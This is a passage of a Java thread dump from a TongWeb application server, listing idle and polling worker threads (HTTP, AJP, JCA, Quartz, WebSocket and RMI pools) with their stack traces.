sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"DefaultQuartzScheduler_Worker-4" #160 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@68629e5c + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"http-nio-0.0.0.0-9060-Acceptor-0" #102 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.ServerSocketChannelImpl.accept0(Native Method) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:421) + at sun.nio.ch.ServerSocketChannelImpl.accept(ServerSocketChannelImpl.java:249) + at com.tongweb.web.webutil.util.net.NioEndpoint$Acceptor.run(NioEndpoint.java:859) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-10" #138 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-3" #52 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-exec-10" #112 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-2" #51 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-1" #129 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"DefaultQuartzScheduler_Worker-9" #165 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@4fc0568e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"DefaultQuartzScheduler_Worker-3" #159 [TIMED_WAITING] on com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread@3860642e + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.quartz.simpl.SimpleThreadPool$WorkerThread.run(SimpleThreadPool.java:553) + +"WebSocketClient-AsyncIO-11" #152 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-9060-exec-1" #90 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-4" #53 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-3" #118 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"persistence" #173 daemon [TIMED_WAITING] on com.tongweb.monitor.persistence.TaskQueue@66aac4cf + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at com.tongweb.monitor.persistence.TimerThread.mainLoop(MonitorTimer.java:460) + at com.tongweb.monitor.persistence.TimerThread.run(MonitorTimer.java:408) + +"http-nio-0.0.0.0-9060-exec-3" #92 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"Thread-31" #141 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPoll.epollWait(Native Method) + at sun.nio.ch.EPollPort$EventHandlerTask.poll(EPollPort.java:194) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:268) + at java.lang.Thread.run(Thread.java:750) + +"ContainerBackgroundProcessor[StandardEngine[TWNT]]" #89 daemon [TIMED_WAITING] + java.lang.Thread.State: TIMED_WAITING + at java.lang.Thread.sleep(Native Method) + at com.tongweb.web.thor.core.ContainerBase$ContainerBackgroundProcessor.run(ContainerBase.java:1520) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-9060-exec-2" #91 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@c0caa64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"Timer-1" #171 daemon [TIMED_WAITING] on java.util.TaskQueue@4d0a0781 + java.lang.Thread.State: TIMED_WAITING + at java.lang.Object.wait(Native Method) + at java.util.TimerThread.mainLoop(Timer.java:552) + at java.util.TimerThread.run(Timer.java:505) + +"http-nio-8443-ClientPoller-0" #126 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-4" #132 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-8" #57 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-exec-5" #107 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@5efd9227 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-2" #130 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI Scheduler(0)" #17 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@30bd25d6 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"nio-accept-5100-1-1" #64 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.netty.channel.nio.NioEventLoop.select(NioEventLoop.java:622) + at com.tongweb.netty.channel.nio.NioEventLoop.run(NioEventLoop.java:310) + at com.tongweb.netty.util.concurrent.SingleThreadEventExecutor$2.run(SingleThreadEventExecutor.java:116) + at com.tongweb.netty.util.concurrent.DefaultThreadFactory$DefaultRunnableDecorator.run(DefaultThreadFactory.java:137) + at java.lang.Thread.run(Thread.java:750) + +"process reaper" #11 daemon [TIMED_WAITING] on java.util.concurrent.SynchronousQueue$TransferStack@71d3418 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.SynchronousQueue$TransferStack.awaitFulfill(SynchronousQueue.java:460) + at java.util.concurrent.SynchronousQueue$TransferStack.transfer(SynchronousQueue.java:362) + at java.util.concurrent.SynchronousQueue.poll(SynchronousQueue.java:941) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1073) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-3" #131 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"Reference Handler" #2 daemon [WAITING] on java.lang.ref.Reference$Lock@37211488 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.Object.wait(Object.java:502) + at java.lang.ref.Reference.tryHandlePending(Reference.java:191) + at java.lang.ref.Reference$ReferenceHandler.run(Reference.java:153) + +"WebSocketClient-AsyncIO-7" #148 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@7e3efb9e + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at sun.nio.ch.EPollPort$EventHandlerTask.run(EPollPort.java:262) + at sun.nio.ch.AsynchronousChannelGroupImpl$1.run(AsynchronousChannelGroupImpl.java:112) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1165) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-6" #121 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"ajp-bio-8009-exec-9" #137 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"JCA-default-thread-pool-worker-6" #55 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@3951c8d9 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.ArrayBlockingQueue.take(ArrayBlockingQueue.java:403) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"Thread-45" #155 daemon [TIMED_WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@2a0a2be2 + java.lang.Thread.State: TIMED_WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.parkNanos(LockSupport.java:215) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.awaitNanos(AbstractQueuedSynchronizer.java:2078) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:1093) + at java.util.concurrent.ScheduledThreadPoolExecutor$DelayedWorkQueue.take(ScheduledThreadPoolExecutor.java:809) + at java.util.concurrent.ThreadPoolExecutor.getTask(ThreadPoolExecutor.java:1074) + at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1134) + at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:624) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-8443-exec-4" #119 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1bff1f3c + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:32) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.getTask(TWThreadPoolExecutor.java:1085) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor.runWorker(TWThreadPoolExecutor.java:1147) + at com.tongweb.web.webutil.util.threads.TWThreadPoolExecutor$Worker.run(TWThreadPoolExecutor.java:622) + at java.lang.Thread.run(Thread.java:750) + +"RMI Reaper" #14 [WAITING] on java.lang.ref.ReferenceQueue$Lock@734028e0 + java.lang.Thread.State: WAITING + at java.lang.Object.wait(Native Method) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:144) + at java.lang.ref.ReferenceQueue.remove(ReferenceQueue.java:165) + at sun.rmi.transport.ObjectTable$Reaper.run(ObjectTable.java:351) + at java.lang.Thread.run(Thread.java:750) + +"http-nio-0.0.0.0-8080-ClientPoller-1" #114 daemon [RUNNABLE] + java.lang.Thread.State: RUNNABLE + at sun.nio.ch.EPollArrayWrapper.epollWait(Native Method) + at sun.nio.ch.EPollArrayWrapper.poll(EPollArrayWrapper.java:269) + at sun.nio.ch.EPollSelectorImpl.doSelect(EPollSelectorImpl.java:93) + at sun.nio.ch.SelectorImpl.lockAndDoSelect(SelectorImpl.java:86) + at sun.nio.ch.SelectorImpl.select(SelectorImpl.java:97) + at com.tongweb.web.webutil.util.net.NioEndpoint$Poller.run(NioEndpoint.java:1218) + at java.lang.Thread.run(Thread.java:750) + +"Thread-56" #177 [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@1d937f64 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.heimdall.monitor.Util.WebWarnUtil$WarnCheckThread.run(WebWarnUtil.java:167) + +"ajp-bio-8009-exec-6" #134 daemon [WAITING] on java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject@170821b7 + java.lang.Thread.State: WAITING + at sun.misc.Unsafe.park(Native Method) + at java.util.concurrent.locks.LockSupport.park(LockSupport.java:175) + at java.util.concurrent.locks.AbstractQueuedSynchronizer$ConditionObject.await(AbstractQueuedSynchronizer.java:2039) + at java.util.concurrent.LinkedBlockingQueue.take(LinkedBlockingQueue.java:442) + at com.tongweb.web.webutil.util.threads.TaskQueue.take(TaskQueue.java:107) + at 